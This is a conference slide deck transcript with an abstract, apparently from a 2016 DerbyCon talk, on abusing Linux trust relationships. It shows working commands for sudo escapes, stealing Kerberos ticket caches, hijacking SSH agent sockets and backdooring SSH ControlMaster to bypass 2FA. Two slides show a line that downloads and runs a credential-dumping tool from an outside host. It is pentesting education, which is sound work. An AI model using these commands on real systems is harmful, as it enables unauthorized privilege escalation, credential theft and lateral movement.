DerbyCon 2016 - Abusing Linux Trust Relationships

D935fc668d901fbb803fd5d8d0313c22?s=47 ropnop
September 27, 2016

DerbyCon 2016 - Abusing Linux Trust Relationships

These are the slides from my DerbyCon 2016 Talk, "Abusing Linux Trust Relationships: Authentication Back Alleys and Forgotten Features"

Link to video of presentation: http://www.irongeek.com/i.php?page=videos/derbycon6/536-abusing-linux-trust-relationships-authentication-back-alleys-and-forgotten-features-ronnie-flathers

Link to demo video used: https://vimeo.com/165653886

Passwords are weak, and generally speaking, the less a company relies on them, the better. Instead of using password authentication for multiple services and sending passwords (or hashes) all over the network, companies have started trying to adopt more password-less authentication mechanisms to secure their infrastructure. From SSH bastion hosts to Kerberos and 2FA, there are many controls that attempt to limit attacker mobility in the event that a single account or password is compromised. This session will be a ""walking tour"" of bypass techniques that allow a small compromise to pivot widely and undetectably across a network using and abusing built in authentication features and common tools. Starting with a simple compromise of an unprivileged account (e.g. through phishing), this session will discuss techniques that pentesters (and real world attackers) use to gain footholds in networks and abuse trust relationships in shared computing resources and ""jumphosts"". The session will demo common tricks to elevate privileges, impersonate other users, steal additional credentials, and pivot around networks using SSH. The presentation will culminate with a discussion of 2FA for SSH access, and how compromises elsewhere in a network can be exploited to completely bypass it. Since these tricks and techniques utilize only built-in Linux commands, they are extremely difficult to detect as they look like normal usage. The demo environment will mimic a segmented network that uses Kerberos and two-factor authentication on SSH jump hosts. It is based entirely off real-world experiences and setups that pentesters in Cisco's Security Services have encountered. Ronnie Flathers is a Sr. Security Consultant with Cisco Advisory Services where he performs various network penetration tests and blackbox application assessments. Previous to Cisco he was a pentester with Neohapsis. He has spoken at Thotcon, hak4kidz, and several internal Cisco conferences.

D935fc668d901fbb803fd5d8d0313c22?s=128

ropnop

September 27, 2016
Tweet

Transcript

  1. 2.

    Agenda • Introduction • Exploiting Authentication and Trust in Networks

    • Sudo • Kerberos • SSH • Demo (bypassing 2FA) • Q+A 2
  2. 3.

    Introduction • Ronnie Flathers • Sr. Security Consultant for Cisco

    Advisory Services • Previously with Neohapsis • Perform a lot of pentests and architecture reviews • Been testing a lot more “Windows-less” environments lately • DevOps and Cloud infrastructure • This talk comes from pentests and remediation discussions with clients rflather@cisco.com @ropnop 3
  3. 4.

    Why this talk? • ”Defenders think in lists. Attackers think

    in graphs” • We’re pretty familiar with Windows compromise chains. But it applies to *nix too! • Just because there’s no “red” on a vuln scan doesn’t mean you’re secure • There’s a lot of value in the “informational” findings • Attackers will use and abuse legitimate traffic • If you’re just looking for “hacker” tools, you will miss a lot 4
  4. 5.

    Example Scenario • Three Segments • Two Users • Different

    privileges • Assume Mark gets compromised (phished) • What’s the worst that could happen? • Going to walkthrough an attack/pentest scenario 5
  5. 6.

    Reconnaissance • Learn to love Informational Findings • LDAP and

    DNS are treasure troves of information • Identify shared use boxes – what resources are employees logging into and using? How are they authenticating? $ dig @dc.ropnop.lab SRV _ldap._tcp.ropnop.lab $ dig @dc.ropnop.lab SRV _kerberos._tcp.ropnop.lab $ dig @dc.ropnop.lab TXT _kerberos.ropnop.lab $ ldapsearch –LLL –h ldap.ropnop.lab -x –s subtree –b ‘dc=ropnop,dc=lab’ 6
  6. 7.

    Using compromised credentials to get a TGT “Even if a

    password is compromised, an attacker can’t use it – we only use Kerberos and SSH keys!” 7
  7. 8.

    Sudo’s a hell of a drug • We trust sudo

    to handle root privileges “responsibly” • /etc/sudoers defines which commands users can run – but it’s often misconfigured • “sudo –l” to see what commands you can run: • See any problems here? 8
  8. 9.

    Sudo’s a hell of a drug (cont’d…) • /usr/bin/find •

    /usr/bin/vim /etc/resolv.conf • /opt/scripts/runTests.sh • /bin/cp /var/log/apache2* /tmp/backups* $ sudo /usr/bin/find /etc/passwd –exec /bin/bash \; (in vim) :! /bin/bash (writable?) $ ls –l /opt/scripts/runTests.sh $ sudo /bin/cp /var/log/apache2/../../../bin/sh /tmp/backups/../../opt/runTests.sh 9
  9. 10.

    We have root – now what? • Well what do

    you do when you have SYSTEM on Windows? • Add users/change passwords? Install rootkits or backdoors? • Easy way to get detected and/or cause damage • We know other users connect to this box. We know other boxes exist on the network. 10 # wget ropnop.com/mimikatz; chmod +x mimikatz; sudo mimikatz –-dump-secrets
  10. 11.

    We have root – now what? • Well what do

    you do when you have SYSTEM on Windows? • Add users/change passwords? Install rootkits or backdoors? • Easy way to get detected and/or cause damage • We know other users connect to this box. We know other boxes exist on the network. 11 # wget ropnop.com/mimikatz; chmod +x mimikatz; sudo mimikatz –-dump-passwords
  11. 12.

    Impersonation is the sincerest form of flattery • We’re root,

    but you can’t just “transfer” root to another box • How can we become someone else and move to another box? • Hijacking Kerberos Tickets • Authenticated users leave behind Kerberos ticket caches • Default location is “/tmp/krb5cc_*” • They’re protected, but, hey – we’re root • Find your current cache location with “klist” or the KRB5CCNAME env variable • Copy someone else’s cache into yours – you become them! # ls -l /tmp/krb* 12
  12. 14.

    Hijacking SSH Agents • To avoid storing private keys everywhere,

    many users use SSH Agent Forwarding • This creates a socket back to the originating system that can be used to authenticate further “hops” with only the one private key • If we “hijack” the socket, we can use it to bypass key-based SSH authentication • The location is stored in an environment variable for the user called “SSH_AUTH_SOCK” 1)Discover who’s logged in and the PID of SSH session’s bash environment 2)Read “SSH_AUTH_SOCK” env variable to discover path of agent socket 3)Pass that value as an env variable to a new SSH connection (…profit?) 14
  13. 15.

    Hijacking SSH agents (cont’d…) • Discover logged in users, and

    process IDs • Read environment variables for the bash PID for patrick • Pass the socket as an env variable to a new SSH connection # who # pstree –pu patrick sshd(1978)───bash(1979) # tr '\0' '\n' < /proc/1979/environ |grep SSH_AUTH_SOCK SSH_AUTH_SOCK=/tmp/ssh-Zi4dmo95nh/agent.1978 # SSH_AUTH_SOCK=/tmp/ssh-Zi4dmo95nh/agent.1978 ssh –A patrick@dev.ropnop.lab 15
  14. 16.

    Oh no it’s 2FA!! • 2FA authentication is handled in

    SSH one of two ways: • Using SSH’s ‘ForceCommand’ to execute a script as soon as a user has authenticated (not “true” 2FA) • Using a PAM module (more secure) • Duo and Google are two popular (and free*) 2FA options for SSH • But they only work on a new connection…. • Master Mode anyone? “Okay... even if you have a password or SSH agent, we use 2FA on our production systems!!” 16
  15. 17.

    SSH Master Mode • SSH Master Mode is incredibly powerful

    (and dangerous!) • It allows multiple SSH sessions to share one network connection (multiplex SSH) • These sessions don’t require additional authentication (!!) • Think of it as “piggybacking” on an existing SSH connection • Three options control SSH Master Mode and have to be present when the connection is initiated. Connect using the socket with “-S” • How can we abuse it? We can “backdoor” SSH… Host * ControlMaster auto ControlPath /tmp/%r@%h:%p ControlPersist yes alias ssh=‘ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes’ /home/patrick/.ssh/config /home/patrick/.bashrc 17
  16. 19.

    To summarize • Patrick on prod. Without: • Knowing his

    password • Having his SSH key • Accessing his phone • Using any “hacker” tools 19
  17. 20.

    To summarize • What is there to detect? • Kerberos?

    • SSH? • Sudo? • Patrick? • Who/what do we trust in our network? 20
  18. 22.

    Cutting Room Floor • More LDAP reconaissance • Looting shared

    boxes as an unprivileged user • Backdooring dotfiles • MacGyver a keylogger through strace • Hijacking screen sessions • Injecting port forwards • Bypassing SSH “ForceCommands” • Come talk to me if you want to hear more! 22